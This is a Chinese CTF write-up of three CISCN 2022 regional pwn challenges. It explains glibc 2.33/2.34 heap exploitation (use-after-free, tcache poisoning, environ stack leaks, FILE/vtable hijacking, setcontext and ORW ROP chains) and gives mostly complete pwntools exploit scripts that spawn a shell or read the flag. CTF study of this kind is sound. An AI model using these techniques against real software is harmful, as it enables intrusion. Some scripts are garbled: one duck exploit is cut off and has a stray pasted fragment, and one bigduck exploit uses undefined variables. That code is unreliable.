ciscn 2022 华东北分区赛pwn wp
很遗憾的是当时比赛配环境花了很长时间(换了m1的mac 环境还没装,到了比赛前一会想起来x86_64的题目肯定会多一些,所以就拿了一个全新版win10的tp,第一次体验到了在比赛的时候下载ubuntu,装vm和pwn的环境,导致浪费了很多时间。。。。)
文章分三部分首发于csdn
duck 这个pwn是2.34下的,一开始拿到这个题目的时候吓了一跳(当时是第二次做2.34的glibc pwn),以为要像house of emma那样,分析下来之后感谢出题人高抬贵手。 一个uaf漏洞,但是是2.34下的,2.34下禁用了free_hook, malloc_hook这两个做堆题需要用到最多的hook 当时做题的时候上网搜了一下2.34的利用手法,总结出了两个方法,一个是借助environ算出ret的地址然后去覆盖,另一个是io利用。 这里给出3种不同的exp及利用思路
第一种攻击方法 借助environ修改edit返回地址为rop链 第一种借助environ来覆盖ret。 在2.33的时候fd会有异域加密,想要更改fd进行任意地址申请的话需要泄露出heap地址,这一题因为有uaf所以很好泄露,也很容易泄露出libc,填充满tcache即可。 留两个tcache bins,借助edit来修改fd达成任意地址申请,需要申请到environ这个地址,因为这里存放着stack地址,泄露出来之后算出edit的返回地址即可。 再次利用uaf申请到edit的返回地址之后修改0x000056123dd9b631为rop链即可getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 from pwn import *from time import sleepcontext(arch='amd64' , os='linux' , log_level='debug' ) file_name = './pwn' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 0 if debug: r = remote('192.168.166.139' , 58013 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) menu = 'Choice: ' def add (): r.sendlineafter(menu, '1' ) def show (index ): r.sendlineafter(menu, '3' ) r.sendlineafter('Idx:' , str (index)) def delete (index ): r.sendlineafter(menu, '2' ) r.sendlineafter('Idx:' , str (index)) def edit (index, size, content ): r.sendlineafter(menu, '4' ) r.sendlineafter('Idx:' , str (index)) r.sendlineafter('Size:' , str (size)) r.sendafter('Content:' , content) for i in range (9 ): add() for i in range (8 ): delete(i) show(7 ) libc_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 96 li('libc_addr = ' + hex (libc_addr)) show(0 ) r.recvuntil('\n' ) key = u64(r.recv(5 ).ljust(8 , b'\x00' )) heap_base = key << 12 li('heap_base = ' + hex (heap_base)) libc = ELF('./libc.so.6' ) libc_base = libc_addr - libc.sym['main_arena' ] li('libc_base = ' + hex (libc_base)) environ = libc_base + libc.sym['environ' ] li('environ = ' + hex (environ)) for i in range (5 ): add() p1 = p64(key ^ environ) + p64(0 ) edit(1 , 0x10 , p1) add() add() show(15 ) stack_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 0x168 li('stack_addr = ' + hex (stack_addr)) delete(9 ) delete(10 ) edit(10 , 0x10 , p64(key ^ stack_addr) + p64(0 )) add() add() bin_sh = libc_base + libc.search(b'/bin/sh' ).__next__() system_addr = libc_base + libc.sym['system' ] pop_rdi_ret = libc_base + libc.search(asm('pop rdi;ret;' )).__next__() p2 = p64(0 ) * 3 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr) edit(17 , 0x30 , p2) r.interactive()
第二种攻击方法 修改_IO_file_jumps中的_IO_new_file_overflow 第二种借助puts时会调用_IO_new_file_overflow刷新缓冲区 这种是笔者认为解这题最简单的方法,直接利用uaf申请到_IO_file_jumps这里修改_IO_new_file_overflow为one_gadget即可getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from pwn import *from time import sleepcontext(arch='amd64' , os='linux' , log_level='debug' ) file_name = './pwn' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 0 if debug: r = remote('192.168.166.139' , 58013 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) menu = 'Choice: ' def add (): r.sendlineafter(menu, '1' ) def show (index ): r.sendlineafter(menu, '3' ) r.sendlineafter('Idx:' , str (index)) def delete (index ): r.sendlineafter(menu, '2' ) r.sendlineafter('Idx:' , str (index)) def edit (index, size, content ): r.sendlineafter(menu, '4' ) r.sendlineafter('Idx:' , str (index)) r.sendlineafter('Size:' , str (size)) r.sendafter('Content:' , content) for i in range (9 ): add() for i in range (8 ): delete(i) show(7 ) libc_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 96 li('libc_addr = ' + hex (libc_addr)) show(0 ) r.recvuntil('\n' ) key = u64(r.recv(5 ).ljust(8 , b'\x00' )) heap_base = key << 12 li('heap_base = ' + hex (heap_base)) libc = ELF('./libc.so.6' ) libc_base = libc_addr - libc.sym['main_arena' ] li('libc_base = ' + hex (libc_base)) _IO_file_jumps = libc_base + libc.sym['_IO_file_jumps' ] li('_IO_file_jumps = ' + hex (_IO_file_jumps)) for i in range (5 ): add() p1 = p64(key ^ _IO_file_jumps) + p64(0 ) edit(1 , 0x10 , p1) add() add() one = [0xda861 , 0xda864 , 0xda867 ] one_gadget = one[1 ] + libc_base edit(15 , 0x20 , p64(0 ) * 3 + p64(one_gadget)) r.interactive()
第三种攻击方法 伪造io结构体 这种攻击方法笔者认为是最麻烦的,和house of orange很像,把/bin/sh放到头,执行vtable的函数时,FILE结构体地址被作为参数来getshell 劫持_IO_new_file_xsputn这个函数。当然了修改_IO_new_file_overflow这个也是可以的,就是利用puts这个函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 from pwn import *from time import sleepcontext(arch='amd64' , os='linux' , log_level='debug' ) file_name = './pwn' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 0 if debug: r = remote('192.168.166.139' , 58013 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) menu = 'Choice: ' def add (): r.sendlineafter(menu, '1' ) def show (index ): r.sendlineafter(menu, '3' ) r.sendlineafter('Idx:' , str (index)) def delete (index ): r.sendlineafter(menu, '2' ) r.sendlineafter('Idx:' , str (index)) def edit (index, size, content ): r.sendlineafter(menu, '4' ) add() add() for i in range (7 ): delete(i) delete(7 ) show(7 ) libc_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 96 li('libc_addr = ' + hex (libc_addr)) show(0 ) r.recvuntil('\n' ) key = u64(r.recv(5 ).ljust(8 , b'\x00' )) heap_base = key << 12 li('heap_base = ' + hex (heap_base)) libc = ELF('./libc.so.6' ) libc_base = libc_addr - libc.sym['main_arena' ] li('libc_base = ' + hex (libc_base)) system_addr = libc_base + libc.sym['system' ] stdout = libc_base + libc.sym['_IO_2_1_stdout_' ] li('stdout = ' + hex (stdout)) IO_file_jumps = libc_base + libc.sym['_IO_file_jumps' ] target = key ^ IO_file_jumps li('target = ' + hex (target)) edit(6 , 0x100 , p64(target)) add() add() fake = p64(0 ) + p64(0 ) fake += p64(libc_base + 0x83d80 ) + p64(libc_base + 0x84750 ) fake += p64(libc_base + 0x84440 ) + p64(libc_base + 0x85520 ) fake += p64(libc_base + 0x86600 ) + p64(system_addr) delete(8 ) edit(8 , 0x8 , p64(key ^ stdout)) add() add() edit(15 , 0x10 , b'/bin/sh\x00' ) r.sendlineafter(menu, '4' ) sleep(1 ) r.sendline('13' ) sleep(1 ) r.sendline('64' ) sleep(1 ) r.sendline(fake) dbg() r.interactive() ➜ duck cat ppp.py from pwn import *from time import sleepcontext(arch='amd64' , os='linux' , log_level='debug' ) add() add() add() for i in range (7 ): delete(i) delete(7 ) show(7 ) libc_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 96 li('libc_addr = ' + hex (libc_addr)) show(0 ) r.recvuntil('\n' ) key = u64(r.recv(5 ).ljust(8 , b'\x00' )) heap_base = key << 12 li('heap_base = ' + hex (heap_base)) libc = ELF('./libc.so.6' ) libc_base = libc_addr - libc.sym['main_arena' ] li('libc_base = ' + hex (libc_base)) system_addr = libc_base + libc.sym['system' ] stdout = libc_base + libc.sym['_IO_2_1_stdout_' ] li('stdout = ' + hex (stdout)) IO_file_jumps = libc_base + libc.sym['_IO_file_jumps' ] target = key ^ IO_file_jumps li('target = ' + hex (target)) edit(6 , 0x100 , p64(target)) add() add() fake = p64(0 ) + p64(0 ) fake += p64(libc_base + 0x83d80 ) + p64(libc_base + 0x84750 ) fake += p64(libc_base + 0x84440 ) + p64(libc_base + 0x85520 ) fake += p64(libc_base + 0x86600 ) + p64(system_addr) delete(8 ) edit(8 , 0x8 , p64(key ^ stdout)) add() add() edit(15 , 0x10 , b'/bin/sh\x00' ) r.sendlineafter(menu, '4' ) sleep(1 ) r.sendline('13' ) sleep(1 ) r.sendline('64' ) sleep(1 ) r.sendline(fake) r.interactive()
另外两道pwn后面再更新,第二个bigduck最简单的就是environ这个方法只不过后面的rop链变成了orw。
bigduck 这个是2.33下的,2.33下有free_hook 和 malloc_hook。这题开启了沙盒,禁用了execve 所以考虑orw攻击方法。这里有一个小坑点,2.33下通过unsorted bin泄露的时候,main_arena那里的低字节是\x00,所以直接show的话会show不出来。在show前利用edit将低字节改为\x01即可。最后算libc的时候 - 1即可。两种攻击思路,第一种借助environ泄露出stack然后改edit的ret为orw即可,第二种劫持hook为万能gadget(直接拿2.31的模板 另外还有一个小坑点,pop_rdx_ret直接用libc_base + libc.search(asm(‘pop rdx;ret;’)).next ()会不成功,所以笔者直接用ropgadget找的
第一种攻击方法 借助environ 和duck一样的思路,最后的rop链改成orw即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './pwn' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 0 if debug: r = remote('192.168.166.139' , 58011 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) menu = 'Choice: ' def add (): r.sendlineafter(menu, '1' ) def show (index ): r.sendlineafter(menu, '3' ) r.sendlineafter('Idx:' , str (index)) def delete (index ): r.sendlineafter(menu, '2' ) r.sendlineafter('Idx:' , str (index)) def edit (index, size, content ): r.sendlineafter(menu, '4' ) r.sendlineafter('Idx:' , str (index)) r.sendlineafter('Size:' , str (size)) r.sendafter('Content:' , content) for i in range (9 ): add() for i in range (8 ): delete(i) edit(7 , 0x10 , b'\x01' ) show(7 ) main_arena_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 1 - 96 li('main_arena_addr = ' + hex (main_arena_addr)) malloc_hook = main_arena_addr - 0x10 li('malloc_hook = ' + hex (malloc_hook)) libc = ELF('./libc.so.6' ) libc_base = malloc_hook - libc.sym['__malloc_hook' ] free_hook = libc_base + libc.sym['__free_hook' ] li('free_hook = ' + hex (free_hook)) edit(7 , 0x10 , b'\x00' ) show(0 ) r.recvuntil('\n' ) key = u64(r.recv(5 ).ljust(8 , b'\x00' )) heap_base = key << 12 li('heap_base = ' + hex (heap_base)) environ = libc_base + libc.sym['environ' ] li('environ = ' + hex (environ)) for i in range (5 ): add() p1 = p64(key ^ environ) + p64(0 ) edit(1 , 0x10 , p1) add() add() show(15 ) stack_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 0x138 li('stack_addr = ' + hex (stack_addr)) delete(9 ) delete(10 ) edit(10 , 0x10 , p64(key ^ stack_addr) + p64(0 )) add() add() pop_rdi_ret = libc_base + libc.search(asm('pop rdi;ret;' )).__next__() pop_rsi_ret = libc_base + 0x000000000002a4cf pop_rdx_ret = 0x00000000000c7f32 + libc_base read_addr = libc_base + libc.sym['read' ] open_addr = libc_base + libc.sym['open' ] write_addr = libc_base + libc.sym['write' ] flag_addr = stack_addr + 0x10 p2 = p64(0 ) * 2 p2 += b'./flag\x00\x00' p2 += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0 ) + p64(open_addr) p2 += p64(pop_rdi_ret) + p64(3 ) + p64(pop_rsi_ret) + p64(stack_addr - 0x200 ) + p64(pop_rdx_ret) + p64(0x50 ) + p64(read_addr) p2 += p64(pop_rdi_ret) + p64(1 ) + p64(pop_rsi_ret) + p64(stack_addr - 0x200 ) + p64(pop_rdx_ret) + p64(0x50 ) + p64(write_addr) edit(17 , 0x100 , p2) r.interactive()
第二种攻击方法 劫持hook为万能gadget 直接模板走就可以了,这里笔者就不说原理了,想理解原理的直接去看其他师傅关于orw的教程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './pwn' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 0 if debug: r = remote('192.168.166.139' , 58011 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) menu = 'Choice: ' def add (): r.sendlineafter(menu, '1' ) def show (index ): r.sendlineafter(menu, '3' ) r.sendlineafter('Idx:' , str (index)) def delete (index ): r.sendlineafter(menu, '2' ) r.sendlineafter('Idx:' , str (index)) def edit (index, size, content ): r.sendlineafter(menu, '4' ) r.sendlineafter('Idx:' , str (index)) r.sendlineafter('Size:' , str (size)) r.sendafter('Content:' , content) for i in range (9 ): add() for i in range (8 ): delete(i) edit(7 , 0x10 , b'\x01' ) show(7 ) main_arena_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 1 - 96 li('main_arena_addr = ' + hex (main_arena_addr)) heap_base = key << 12 li('heap_base = ' + hex (heap_base)) for i in range (5 ): add() p1 = p64(key ^ free_hook) + p64(0 ) edit(1 , 0x10 , p1) add() add() gadget = libc_base + 0x14a0a0 read_addr = libc_base + libc.sym['read' ] edit(15 , 0x8 , p64(gadget)) frame = SigreturnFrame() frame.rdi = 0 frame.rsi = free_hook frame.rdx = 0x200 frame.rsp = free_hook + 8 frame.rip = read_addr setcontext = libc_base + libc.sym['setcontext' ] + 61 p2 = p64(0 ) + p64(heap_base + 0x3b0 ) + p64(0 ) * 2 + p64(setcontext) + bytes (frame)[0x28 :] edit(14 , 0x100 , p2) delete(14 ) open_addr = libc_base + libc.sym['open' ] write_addr = libc_base + libc.sym['write' ] pop_rdi_ret = libc_base + libc.search(asm('pop rdi;ret;' )).__next__() pop_rsi_ret = libc_base + 0x000000000002a4cf pop_rdx_ret = 0x00000000000c7f32 + libc_base p3 = b'./flag\x00\x00' p3 += p64(pop_rdi_ret) + p64(free_hook) + p64(pop_rsi_ret) + p64(0 ) + p64(open_addr) p3 += p64(pop_rdi_ret) + p64(3 ) + p64(pop_rsi_ret) + p64(free_hook + 0x200 ) + p64(pop_rdx_ret) + p64(0x50 ) + p64(read_addr) p3 += p64(pop_rdi_ret) + p64(1 ) + p64(pop_rsi_ret) + p64(free_hook + 0x200 ) + p64(pop_rdx_ret) + p64(0x50 ) + p64(write_addr) r.send(p3) r.interactive()
blue 开了沙盒 最简单的解法还是借助environ来控制ret地址,然后将ret改成orw链即可。这一题的关键点在于怎么泄露出environ里面的栈地址,因为show功能只能使用一次。 这一题的漏洞点是一次性的uaf漏洞,在666功能下 我们首先先借助这一次性的uaf泄露出libc。还是填满tcache,只不过下一个进unsorted bin的时候利用666这个uaf功能。 接下来思考一下如何泄露出environ里面的值,show是一次性的已经用不了。仔细思考一下不难想出利用stdout来泄露,将flags标志改掉(绕过检查),再将write_base和write_ptr & write_end改成environ和environ + 8那里的地址是不是就可以泄露出environ的值了。 最关键的难点解决了,接下来就是申请到stdout那里,利用overlapping即可。将一个属于之前释放进tcache bin范围的chunk链入属于unsortedbin的chunk那里。因为uaf,所以再次释放unsortedbin的那个chunk,这样的话就可以形成堆块重叠可以控制到fd进行任意地址申请。 粉色是两具unsortedbin合并了,蓝色是从unsortedbin分割后的chunk,而蓝色里面的黄色是属于tcache bin的chunk,形成了上图的overlapping。(这里理解一下就行,说的有一点乱) 任意地址申请到stdout那里并泄露出stack,算出add的ret,然后再利用任意地址申请到ret,在ret这里放好布置好的orw链即可get flag,exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './pwn' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 0 if debug: r = remote('192.168.166.139' , 58012 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) menu = 'Choice: ' def add (size, content ): r.sendlineafter(menu, '1' ) r.sendlineafter('Please input size: ' , str (size)) r.sendafter('Please input content: ' , content) def delete (index ): r.sendlineafter(menu, '2' ) r.sendlineafter('Please input idx: ' , str (index)) def show (index ): r.sendlineafter(menu, '3' ) r.sendlineafter('Please input idx: ' , str (index)) for i in range (9 ): add(0x80 , 'aaaa' ) add(0x80 , 'aaaa' ) for i in range (7 ): delete(i) r.sendlineafter(menu, '666' ) r.sendlineafter('Please input idx: ' , '8' ) show(8 ) show_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) li('show_addr = ' + hex (show_addr)) libc_base = show_addr - 0x1ecbe0 libc = ELF('./libc.so.6' ) stdout = libc_base + libc.sym['_IO_2_1_stdout_' ] li('stdout = ' + hex (stdout)) environ = libc_base + libc.sym['environ' ] li('environ = ' + hex (environ)) delete(7 ) add(0x80 , 'aaaa' ) delete(8 ) add(0x70 , 'bbbb' ) p1 = p64(0 ) + p64(0x91 ) + p64(stdout) add(0x70 , p1) add(0x80 , 'cccc' ) p2 = p64(0xfbad1800 ) + p64(0 ) * 3 + p64(environ) + p64(environ + 8 ) * 2 add(0x80 , p2) stack_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 0x128 li('stack_addr = ' + hex (stack_addr)) delete(3 ) delete(2 ) p3 = p64(0 ) + p64(0x91 ) + p64(stack_addr) add(0x70 , p3) add(0x80 , 'dddd' ) read_addr = libc_base + libc.sym['read' ] open_addr = libc_base + libc.sym['open' ] write_addr = libc_base + libc.sym['write' ] pop_rdi_ret = libc_base + 0x0000000000023b6a pop_rsi_ret = libc_base +0x000000000002601f pop_rdx_ret = 0x0000000000142c92 + libc_base flag_addr = stack_addr ppp = stack_addr + 0x200 p4 = b'./flag\x00\x00' p4 += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0 ) + p64(open_addr) p4 += p64(pop_rdi_ret) + p64(3 ) + p64(pop_rsi_ret) + p64(ppp) + p64(pop_rdx_ret) + p64(0x50 ) + p64(read_addr) puts_addr = libc_base + libc.sym['puts' ] p4 += p64(pop_rdi_ret) + p64(ppp) + p64(puts_addr) add(0x80 , p4) r.interactive()
这一题肯定不止这一种方法,也可以攻击_rtld_global 这个结构体,将stdout里面的vtable劫持一下,orw链放到该放的地方,然后触发即可。比借助environ这个方法麻烦一点,笔者这一题就不再深挖了(glibc这种pwn笔者不想陷得太深,看到有意思的题目学习一下就行了)